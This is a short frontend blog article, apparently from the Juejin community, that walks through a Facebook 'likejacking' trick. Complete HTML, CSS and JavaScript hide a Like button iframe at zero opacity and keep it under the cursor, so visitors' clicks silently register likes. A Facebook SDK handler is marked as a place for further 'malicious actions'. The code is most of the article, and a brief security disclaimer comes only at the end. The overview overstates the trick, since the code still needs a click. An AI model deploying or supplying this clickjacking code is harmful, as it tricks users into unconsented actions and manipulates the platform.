Frontend Development 4 min read

Implementing a Hidden Auto‑Like Button on Facebook Using Frontend Techniques

This article demonstrates how to embed a hidden Facebook Like button that automatically registers likes as the user moves the mouse, using HTML, CSS positioning, JavaScript event handling, and the Facebook SDK, while keeping the element invisible to the user.

Rare Earth Juejin Tech Community
Rare Earth Juejin Tech Community
Rare Earth Juejin Tech Community
Implementing a Hidden Auto‑Like Button on Facebook Using Frontend Techniques

When browsing platforms like Facebook, users may unknowingly trigger hidden actions—referred to here as "black magic"—that increase click counts or generate likes without their awareness.

The basic HTML structure loads the Facebook SDK and adds a <div class="fb-like" data-href="https://www.facebook.com/lundevweb"></div> element:

<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <title>Document</title>
  <script async defer crossorigin="anonymous" src="https://connect.facebook.net/zh_CN/sdk.js#xfbml=1&version=v9.0"></script>
</head>
<body>
  <div id="fb-root"></div>
  <div class="fb-like" data-href="https://www.facebook.com/lundevweb" data-width="" data-layout="" data-action="like" data-size="small" data-share="true"></div>
</body>
</html>

First, CSS is applied to fix the button’s position on the screen:

.fb-like {
  position: fixed;
}

JavaScript then moves the button to follow the mouse cursor, making it appear to travel with the user:

let fbIframe = document.querySelector('.fb-like');
document.addEventListener('mousemove', (event) => {
  fbIframe.style.left = event.clientX + 'px';
  fbIframe.style.top = event.clientY + 'px';
});

To keep the button out of sight, the CSS is refined with a translation offset and zero opacity:

.fb-like {
  position: fixed;
  transform: translate(-10px, -10px);
  opacity: 0;
}

Finally, the Facebook SDK event edge.create (triggered when a user successfully likes) is subscribed to, allowing custom logic—such as hiding the iframe immediately after the like:

window.fbAsyncInit = function() {
  FB.event.subscribe('edge.create', () => {
    // custom malicious actions can be placed here
    fbIframe.style.display = 'none';
  });
};

This simple demonstration shows how front‑end tricks can silently generate likes and potentially be extended to more malicious actions, highlighting the need for careful security considerations in web development.

frontendJavaScriptWeb SecurityCSSFacebook
Rare Earth Juejin Tech Community
Written by

Rare Earth Juejin Tech Community

Juejin, a tech community that helps developers grow.

0 followers
Reader feedback

How this landed with the community

login Sign in to like

Rate this article

Was this worth your time?

Sign in to rate
Discussion

0 Comments

Thoughtful readers leave field notes, pushback, and hard-won operational detail here.